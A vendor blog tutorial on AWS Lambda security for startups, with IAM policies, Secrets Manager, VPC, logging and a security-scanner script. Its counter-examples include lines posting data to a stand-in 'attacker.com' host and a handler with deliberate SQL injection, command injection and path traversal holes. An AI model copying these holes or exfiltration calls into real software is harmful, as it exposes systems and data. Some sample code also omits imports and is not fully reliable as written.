· PathShield Team · Tutorials  · 10 min read

AWS Lambda Security Best Practices for Startups (2025 Guide)

Secure your serverless functions from day one. Learn practical Lambda security practices that prevent breaches without slowing down development.

Secure your serverless functions from day one. Learn practical Lambda security practices that prevent breaches without slowing down development.

AWS Lambda Security Best Practices for Startups (2025 Guide)

Lambda functions seem secure by default—they’re isolated, temporary, and managed by AWS. But startups consistently make the same Lambda security mistakes that lead to breaches. This guide shows you how to secure your serverless functions without slowing down development.

The Lambda Security Reality Check

What makes Lambda appealing:

  • No servers to patch
  • Automatic scaling
  • Pay-per-invocation
  • Built-in monitoring

What makes Lambda dangerous:

  • Over-privileged execution roles
  • Hardcoded secrets in code
  • Overly permissive network access
  • Poor logging and monitoring

The most common Lambda breach pattern? A developer hardcodes AWS credentials, commits to GitHub, and attackers use the Lambda function as a pivot point to access your entire infrastructure.

The 7 Critical Lambda Security Practices

1. Master IAM Permissions (The #1 Lambda Security Issue)

The Problem: Developers give Lambda functions AdministratorAccess because it’s easier than figuring out specific permissions.

# ❌ This Lambda function can destroy your entire AWS account
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

The Fix: Start with zero permissions and add only what’s needed.

# ✅ Least privilege Lambda execution role
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents"
      ],
      "Resource": "arn:aws:logs:*:*:*"
    },
    {
      "Effect": "Allow",
      "Action": [
        "dynamodb:GetItem",
        "dynamodb:PutItem"
      ],
      "Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/Users"
    }
  ]
}

Permission Discovery Script:

import boto3
import json

def discover_lambda_permissions(function_name):
    """Analyze Lambda function to suggest minimal permissions"""
    
    # Download function code
    lambda_client = boto3.client('lambda')
    response = lambda_client.get_function(FunctionName=function_name)
    
    # Parse code for AWS service calls
    code_location = response['Code']['Location']
    
    # This would analyze the code and suggest permissions
    # For demo, here's what you'd typically find:
    
    suggested_permissions = {
        "DynamoDB": {
            "actions": ["dynamodb:GetItem", "dynamodb:PutItem"],
            "reason": "Found boto3.client('dynamodb') calls"
        },
        "S3": {
            "actions": ["s3:GetObject"],
            "reason": "Found s3.get_object() call"
        },
        "Secrets Manager": {
            "actions": ["secretsmanager:GetSecretValue"],
            "reason": "Found secrets access pattern"
        }
    }
    
    return suggested_permissions

# Use AWS CloudTrail to see what permissions are actually used
def analyze_actual_permissions(function_name, days=7):
    """Analyze CloudTrail to see what permissions Lambda actually uses"""
    
    cloudtrail = boto3.client('cloudtrail')
    
    # Get events for the Lambda function
    events = cloudtrail.lookup_events(
        LookupAttributes=[
            {
                'AttributeKey': 'ResourceName',
                'AttributeValue': function_name
            }
        ],
        StartTime=datetime.now() - timedelta(days=days)
    )
    
    actual_actions = set()
    for event in events['Events']:
        actual_actions.add(event['EventName'])
    
    return list(actual_actions)

2. Never Hardcode Secrets (Use AWS Secrets Manager)

The Problem:

# ❌ This is how startups get breached
import os

DATABASE_PASSWORD = "super_secret_password_123"
API_KEY = "sk_live_1234567890abcdef"

def lambda_handler(event, context):
    # Connect to database with hardcoded password
    conn = psycopg2.connect(
        host="prod-db.123456.us-east-1.rds.amazonaws.com",
        password=DATABASE_PASSWORD
    )

The Fix:

# ✅ Secure secrets management
import boto3
import json

def get_secret(secret_name):
    """Retrieve secret from AWS Secrets Manager"""
    secrets_client = boto3.client('secretsmanager')
    
    try:
        response = secrets_client.get_secret_value(SecretId=secret_name)
        return json.loads(response['SecretString'])
    except Exception as e:
        print(f"Error retrieving secret: {e}")
        raise

def lambda_handler(event, context):
    # Get database credentials securely
    db_secrets = get_secret('prod/database/credentials')
    
    conn = psycopg2.connect(
        host=db_secrets['host'],
        username=db_secrets['username'],
        password=db_secrets['password'],
        database=db_secrets['database']
    )

Environment Variables (Less Secure Alternative):

# Better than hardcoding, but secrets are visible in console
import os

def lambda_handler(event, context):
    database_url = os.environ['DATABASE_URL']  # Still visible in AWS console
    api_key = os.environ['API_KEY']            # Anyone with Lambda access can see

Secrets Management Template:

# CloudFormation template for secrets
Resources:
  DatabaseSecret:
    Type: AWS::SecretsManager::Secret
    Properties:
      Name: prod/database/credentials
      Description: Production database credentials
      GenerateSecretString:
        SecretStringTemplate: '{"username": "admin"}'
        GenerateStringKey: password
        PasswordLength: 32
        ExcludeCharacters: '"@/\'
        
  LambdaRole:
    Type: AWS::IAM::Role
    Properties:
      Policies:
        - PolicyName: SecretsAccess
          PolicyDocument:
            Statement:
              - Effect: Allow
                Action: secretsmanager:GetSecretValue
                Resource: !Ref DatabaseSecret

3. Secure Network Configuration

The Problem: Lambda functions run in AWS’s default network, giving them internet access by default.

# ❌ Lambda has unrestricted internet access
# Can download malware, exfiltrate data, call external APIs
def lambda_handler(event, context):
    # This Lambda can reach any website
    response = requests.get("https://malicious-site.com/steal-data")
    
    # Or exfiltrate your data
    requests.post("https://attacker.com/data", json=event)

The Fix - VPC Configuration:

# CloudFormation - Put Lambda in private subnet
LambdaFunction:
  Type: AWS::Lambda::Function
  Properties:
    VpcConfig:
      SecurityGroupIds:
        - !Ref LambdaSecurityGroup
      SubnetIds:
        - !Ref PrivateSubnet1
        - !Ref PrivateSubnet2

LambdaSecurityGroup:
  Type: AWS::EC2::SecurityGroup
  Properties:
    GroupDescription: Lambda security group
    VpcId: !Ref VPC
    SecurityGroupEgress:
      # Only allow HTTPS to specific services
      - IpProtocol: tcp
        FromPort: 443
        ToPort: 443
        CidrIp: 0.0.0.0/0
        Description: HTTPS for AWS services
      # Block everything else

Network Monitoring Script:

def monitor_lambda_network_access():
    """Monitor and alert on unexpected Lambda network calls"""
    
    # Check VPC Flow Logs for Lambda traffic
    logs_client = boto3.client('logs')
    
    # Query for Lambda network connections
    query = """
    fields @timestamp, srcaddr, dstaddr, dstport, action
    | filter srcport >= 32768
    | filter action = "ACCEPT"
    | stats count() by dstaddr, dstport
    | sort count desc
    """
    
    response = logs_client.start_query(
        logGroupName='/aws/lambda/my-function',
        startTime=int((datetime.now() - timedelta(hours=1)).timestamp()),
        endTime=int(datetime.now().timestamp()),
        queryString=query
    )
    
    # Alert on unexpected destinations
    suspicious_destinations = [
        '0.0.0.0',  # Broadcast
        '127.0.0.1', # Localhost
        # Add known malicious IPs
    ]
    
    # Process results and alert
    results = logs_client.get_query_results(queryId=response['queryId'])
    for result in results.get('results', []):
        dest_ip = result[1]['value']
        if any(sus in dest_ip for sus in suspicious_destinations):
            send_security_alert(f"Suspicious network access: {dest_ip}")

4. Input Validation and Sanitization

The Problem: Lambda functions often process untrusted input from API Gateway, S3 events, or SQS without validation.

# ❌ No input validation - injection vulnerability
def lambda_handler(event, context):
    # Direct use of user input
    user_id = event['pathParameters']['user_id']
    
    # SQL injection vulnerability
    query = f"SELECT * FROM users WHERE id = {user_id}"
    
    # Command injection vulnerability  
    os.system(f"convert {event['filename']} output.jpg")
    
    # Path traversal vulnerability
    with open(f"/tmp/{event['filename']}", 'r') as f:
        content = f.read()

The Fix:

# ✅ Proper input validation
import re
import sqlite3
from pathlib import Path

def validate_user_id(user_id):
    """Validate user ID format"""
    if not isinstance(user_id, str):
        raise ValueError("User ID must be string")
    
    if not re.match(r'^[a-zA-Z0-9\-]{1,50}$', user_id):
        raise ValueError("Invalid user ID format")
    
    return user_id

def lambda_handler(event, context):
    try:
        # Validate input
        user_id = validate_user_id(event.get('pathParameters', {}).get('user_id'))
        
        # Use parameterized queries
        conn = sqlite3.connect('database.db')
        cursor = conn.cursor()
        cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
        
        # Validate file paths
        filename = event.get('filename', '')
        safe_path = Path('/tmp') / Path(filename).name  # Removes path traversal
        
        if not safe_path.exists():
            raise ValueError("File not found")
            
        with open(safe_path, 'r') as f:
            content = f.read()
            
    except ValueError as e:
        return {
            'statusCode': 400,
            'body': json.dumps({'error': str(e)})
        }
    except Exception as e:
        # Log error but don't expose internals
        print(f"Internal error: {e}")
        return {
            'statusCode': 500,
            'body': json.dumps({'error': 'Internal server error'})
        }

5. Enable Comprehensive Logging

The Problem: Default Lambda logging is minimal and doesn’t help with security investigations.

# ❌ Poor logging practices
def lambda_handler(event, context):
    print("Function started")  # No context
    
    try:
        # Some processing
        result = process_data(event)
        print("Success")  # No details
        return result
    except Exception as e:
        print(f"Error: {e}")  # Might expose sensitive data
        raise

The Fix:

# ✅ Security-focused logging
import json
import logging
import uuid
from datetime import datetime

# Configure structured logging
logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(event, context):
    # Generate request ID for tracing
    request_id = str(uuid.uuid4())
    
    # Log function start with context
    logger.info(json.dumps({
        'event': 'function_start',
        'request_id': request_id,
        'function_name': context.function_name,
        'timestamp': datetime.utcnow().isoformat(),
        'source_ip': event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
        'user_agent': event.get('headers', {}).get('User-Agent')
    }))
    
    try:
        # Log security-relevant events
        if 'user_id' in event:
            logger.info(json.dumps({
                'event': 'user_access',
                'request_id': request_id,
                'user_id': hash_pii(event['user_id']),  # Hash PII
                'action': event.get('action', 'unknown')
            }))
        
        result = process_data(event)
        
        # Log success
        logger.info(json.dumps({
            'event': 'function_success',
            'request_id': request_id,
            'duration_ms': context.get_remaining_time_in_millis()
        }))
        
        return result
        
    except Exception as e:
        # Log error without sensitive data
        logger.error(json.dumps({
            'event': 'function_error',
            'request_id': request_id,
            'error_type': type(e).__name__,
            'error_message': str(e)[:200]  # Truncate to avoid log injection
        }))
        raise

def hash_pii(data):
    """Hash PII for logging"""
    import hashlib
    return hashlib.sha256(str(data).encode()).hexdigest()[:16]

6. Implement Function-Level Security

Dead Letter Queues for Failed Invocations:

LambdaFunction:
  Type: AWS::Lambda::Function
  Properties:
    DeadLetterConfig:
      TargetArn: !GetAtt DeadLetterQueue.Arn
    ReservedConcurrencyLimit: 100  # Prevent runaway costs

DeadLetterQueue:
  Type: AWS::SQS::Queue
  Properties:
    MessageRetentionPeriod: 1209600  # 14 days
    KmsMasterKeyId: alias/aws/sqs

Runtime Security Monitoring:

import psutil
import json

def security_monitor_wrapper(func):
    """Decorator to monitor Lambda function security"""
    def wrapper(event, context):
        # Monitor resource usage
        initial_memory = psutil.virtual_memory().used
        start_time = time.time()
        
        try:
            result = func(event, context)
            
            # Check for unusual resource usage
            final_memory = psutil.virtual_memory().used
            memory_delta = final_memory - initial_memory
            duration = time.time() - start_time
            
            if memory_delta > 100 * 1024 * 1024:  # 100MB
                logger.warning(f"High memory usage: {memory_delta} bytes")
            
            if duration > 30:  # 30 seconds
                logger.warning(f"Long execution time: {duration} seconds")
                
            return result
            
        except Exception as e:
            logger.error(f"Function error: {type(e).__name__}")
            raise
    
    return wrapper

@security_monitor_wrapper
def lambda_handler(event, context):
    # Your function logic here
    pass

7. Secure Dependencies and Layers

The Problem: Lambda functions often include vulnerable dependencies or use untrusted layers.

# ❌ Vulnerable dependencies
# requirements.txt
requests==2.25.1  # Has known vulnerabilities
urllib3==1.26.2   # Outdated version

The Fix:

# ✅ Dependency security scanning
# requirements.txt
requests==2.31.0  # Latest secure version
urllib3==2.0.4    # Latest secure version

# Use pip-audit to check for vulnerabilities
# pip install pip-audit
# pip-audit

Automated Dependency Scanning:

# .github/workflows/lambda-security.yml
name: Lambda Security Scan
on: [push, pull_request]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Set up Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.9'
          
      - name: Install dependencies
        run: |
          pip install pip-audit safety
          pip install -r requirements.txt
          
      - name: Run security audit
        run: |
          pip-audit
          safety check
          
      - name: Scan Lambda code
        run: |
          # Use bandit for Python security linting
          pip install bandit
          bandit -r lambda_function.py

Lambda Security Checklist for Startups

Pre-Deployment (Development Phase)

  • Use least-privilege IAM roles
  • Store secrets in AWS Secrets Manager
  • Implement input validation
  • Add structured logging
  • Scan dependencies for vulnerabilities
  • Review environment variables for secrets

Post-Deployment (Production Phase)

  • Monitor CloudWatch logs for anomalies
  • Set up alerts for failed invocations
  • Configure dead letter queues
  • Implement VPC configuration if needed
  • Regular permission audits
  • Monitor function duration and memory usage

Ongoing Security (Maintenance)

  • Monthly dependency updates
  • Quarterly permission reviews
  • Annual security testing
  • Incident response procedures
  • Security training for developers

Common Lambda Security Gotchas

1. Function URLs vs API Gateway

# Function URLs are great for simplicity but lack:
# - Authentication/authorization
# - Request/response validation
# - Rate limiting
# - Detailed logging

# Use API Gateway for production workloads

2. Container Image Security

# ❌ Vulnerable base image
FROM python:3.9

# ✅ Minimal, security-focused image
FROM public.ecr.aws/lambda/python:3.9
COPY requirements.txt .
RUN pip install -r requirements.txt --no-cache-dir
COPY lambda_function.py .
CMD ["lambda_function.lambda_handler"]

3. Temporary File Security

# ❌ Insecure temp file handling
def lambda_handler(event, context):
    with open('/tmp/data.txt', 'w') as f:
        f.write(event['sensitive_data'])  # Readable by other functions
    
# ✅ Secure temp file handling
import tempfile
import os

def lambda_handler(event, context):
    with tempfile.NamedTemporaryFile(mode='w', delete=False) as f:
        f.write(event['sensitive_data'])
        temp_file = f.name
    
    try:
        # Process file
        process_file(temp_file)
    finally:
        # Always clean up
        os.unlink(temp_file)

Automated Lambda Security Scanning

#!/usr/bin/env python3
"""
Automated Lambda security scanner
Checks common security issues across all Lambda functions
"""

import boto3
import json
from datetime import datetime, timedelta

class LambdaSecurityScanner:
    def __init__(self):
        self.lambda_client = boto3.client('lambda')
        self.iam_client = boto3.client('iam')
        self.findings = []
    
    def scan_all_functions(self):
        """Scan all Lambda functions for security issues"""
        functions = self.lambda_client.list_functions()['Functions']
        
        for function in functions:
            self.scan_function(function)
    
    def scan_function(self, function):
        """Scan individual function"""
        function_name = function['FunctionName']
        
        # Check IAM permissions
        role_arn = function['Role']
        role_name = role_arn.split('/')[-1]
        self.check_permissions(function_name, role_name)
        
        # Check environment variables for secrets
        self.check_environment_variables(function_name, function.get('Environment', {}))
        
        # Check VPC configuration
        self.check_vpc_config(function_name, function.get('VpcConfig'))
        
        # Check runtime version
        self.check_runtime(function_name, function['Runtime'])
    
    def check_permissions(self, function_name, role_name):
        """Check for overly permissive IAM roles"""
        try:
            # Get attached policies
            policies = self.iam_client.list_attached_role_policies(RoleName=role_name)
            
            for policy in policies['AttachedPolicies']:
                if policy['PolicyName'] in ['AdministratorAccess', 'PowerUserAccess']:
                    self.add_finding(
                        function_name,
                        'CRITICAL',
                        'Overly Permissive Role',
                        f"Function has {policy['PolicyName']} policy attached"
                    )
        except Exception as e:
            print(f"Error checking permissions for {function_name}: {e}")
    
    def check_environment_variables(self, function_name, env_config):
        """Check environment variables for secrets"""
        variables = env_config.get('Variables', {})
        
        secret_patterns = [
            'password', 'secret', 'key', 'token', 'api_key',
            'private_key', 'credential', 'auth'
        ]
        
        for var_name, var_value in variables.items():
            if any(pattern in var_name.lower() for pattern in secret_patterns):
                self.add_finding(
                    function_name,
                    'HIGH',
                    'Potential Secret in Environment Variable',
                    f"Variable '{var_name}' may contain sensitive data"
                )
    
    def add_finding(self, function_name, severity, issue_type, description):
        """Add security finding"""
        self.findings.append({
            'FunctionName': function_name,
            'Severity': severity,
            'IssueType': issue_type,
            'Description': description,
            'Timestamp': datetime.now().isoformat()
        })
    
    def generate_report(self):
        """Generate security report"""
        if not self.findings:
            print("✅ No security issues found in Lambda functions!")
            return
        
        print(f"\n🔍 Lambda Security Scan Results")
        print(f"Found {len(self.findings)} issues\n")
        
        # Group by severity
        by_severity = {}
        for finding in self.findings:
            severity = finding['Severity']
            if severity not in by_severity:
                by_severity[severity] = []
            by_severity[severity].append(finding)
        
        for severity in ['CRITICAL', 'HIGH', 'MEDIUM', 'LOW']:
            if severity in by_severity:
                print(f"\n{severity} ({len(by_severity[severity])} issues):")
                for finding in by_severity[severity]:
                    print(f"  📍 {finding['FunctionName']}: {finding['Description']}")

# Run scanner
scanner = LambdaSecurityScanner()
scanner.scan_all_functions()
scanner.generate_report()

Conclusion

Lambda security isn’t automatic—it requires intentional design and ongoing vigilance. The good news? Most Lambda security issues are preventable with the right practices from day one.

Start with least-privilege IAM roles, never hardcode secrets, validate all inputs, and monitor everything. These basics will prevent 95% of Lambda-related security incidents.

Your next steps:

  1. Audit existing Lambda functions with the security scanner
  2. Fix any critical findings (overprivileged roles, hardcoded secrets)
  3. Implement the security practices in your deployment pipeline
  4. Schedule monthly security reviews

Want continuous Lambda security monitoring without the scripts? Tools like PathShield automatically detect Lambda misconfigurations and alert you to security risks before they become breaches.

Back to Blog

Related Posts

View All Posts »